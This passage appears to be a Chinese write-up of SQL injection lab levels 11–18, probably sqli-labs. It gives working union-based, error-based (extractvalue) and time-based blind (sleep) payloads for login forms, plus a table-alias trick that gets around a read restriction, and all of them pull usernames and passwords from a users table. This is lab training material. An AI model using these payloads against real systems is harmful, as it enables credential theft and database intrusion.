这里推荐在password注入,因为会判断密码和账户的正确性,正确才会回显,如果这里在username注入则会比较麻烦
经过测试这里
回显位为2位
-1’ union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
得到数据库名称,和当前表名称
-1’ union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’#
得到表列
-1’ union select database(),group_concat(username,password) from security.users#
得到数据
第十二题
这里也是直接看源码进行分析
改变闭合方式其他的和第十一题没有区别
-1") union select database(),group_concat(username,password) from security.users#
第十三题
-1’) union select database(),group_concat(username,password) from security.users#
发现没有回显了
这里尝试报错注入
-1’) and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))#
第十四题
同样没有回显,使用报错注入
-1" and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))#
第十五题
这里和上面的有些不同,这里报错没有回显了,所以在这里采用post盲注
admin’ and if(ascii(concat(database()))>0,sleep(5),sleep(10))#
存在注入后续可以使用sqlmap辅助注入,盲注工作量太大了
第十六题
这里测试也是没有回显使用盲注,查看源码发现闭合方式为")
使用语句admin“) and if(ascii(concat(database()))>0,sleep(5),sleep(10))#
第十七题
观察源码发现uname被过滤所以不可能在这里注入
这里uname被过滤了直接在passwd注入
这里看到注入语句前面是updata采用报错注入
’ or extractvalue(1,concat(0x7e,(database())))#
最后爆出数据表的时候会报一个错误
这里是数据库做了一个限制不允许读users表可以使用别名绕过
’ or extractvalue(1,(select concat(0x7e,(select group_concat(username,password) from (select username,password from users)a))))#
将users表中的数据username和password存到一个别名为a的表中,这个时候就绕过了
第十八题
这里观察源码发现username和passowrd都被过滤但是这里有两个uagent和ip没有被过滤,和上一题一样使用报错注